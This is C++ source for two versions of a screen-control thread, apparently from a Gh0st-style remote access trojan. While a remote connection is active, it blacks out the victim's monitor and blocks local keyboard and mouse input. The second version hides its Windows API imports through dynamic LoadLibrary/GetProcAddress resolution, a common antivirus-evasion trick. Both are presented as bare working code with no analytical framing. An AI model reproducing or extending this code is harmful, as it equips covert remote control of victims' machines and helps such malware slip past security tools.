// 创建这个线程主要是为了保持一直黑屏 DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam) { CScreenManager *pThis = (CScreenManager *)lparam; static bool bIsScreenBlanked = false; while (pThis->IsConnect()) { // todo:加快反应速度 for (int i = 0; i < 100; i++) { if (pThis->IsConnect()) { if (pThis->IsMetricsChange()) { pThis->ResetScreen(pThis->GetCurrentPixelBits()); } Sleep(10); } else { break; } } if (pThis->m_bIsBlankScreen) { SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2); bIsScreenBlanked = true; } else { if (bIsScreenBlanked) { SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1); bIsScreenBlanked = false; } } BlockInput(pThis->m_bIsBlockInput); if (pThis->IsMetricsChange()) { pThis->ResetScreen(pThis->GetCurrentPixelBits()); } } BlockInput(false); return -1; }
// 创建这个线程主要是为了保持一直黑屏 DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam) { typedef VOID (WINAPI *SleepT) ( __in DWORD dwMilliseconds ); SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep"); typedef LRESULT (WINAPI *SendMessageAT)( __in HWND hWnd, __in UINT Msg, __in WPARAM wParam, __in LPARAM lParam); SendMessageAT pSendMessageA=(SendMessageAT)GetProcAddress(LoadLibrary("USER32.dll"),"SendMessageA"); typedef BOOL (WINAPI *SystemParametersInfoAT)( __in UINT uiAction, __in UINT uiParam, __inout_opt PVOID pvParam, __in UINT fWinIni); SystemParametersInfoAT pSystemParametersInfoA=(SystemParametersInfoAT)GetProcAddress(LoadLibrary("USER32.dll"),"SystemParametersInfoA"); static bool bIsScreenBlanked = false; CScreenManager *pThis = (CScreenManager *)lparam; while (pThis->IsConnect()) { // 加快反应速度 for (int i = 0; i < 100; i++) { if (pThis->IsConnect()) { // 分辨率大小改变了 if (pThis->IsMetricsChange()) pThis->ResetScreen(pThis->GetCurrentPixelBits()); pSleep(10); } else break; } if (pThis->m_bIsBlankScreen) { pSystemParametersInfoA(SPI_SETPOWEROFFACTIVE, 1, NULL, 0); pSendMessageA(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2); bIsScreenBlanked = true; } else { if (bIsScreenBlanked) { pSystemParametersInfoA(SPI_SETPOWEROFFACTIVE, 0, NULL, 0); pSendMessageA(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1); bIsScreenBlanked = false; } } typedef BOOL (WINAPI *BlockInputT) ( BOOL fBlockIt ); BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput"); pBlockInput(pThis->m_bIsBlockInput); // 分辨率大小改变了 if (pThis->IsMetricsChange()) pThis->ResetScreen(pThis->GetCurrentPixelBits()); } typedef BOOL (WINAPI *BlockInputT) ( BOOL fBlockIt ); BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput"); pBlockInput(false); return -1; }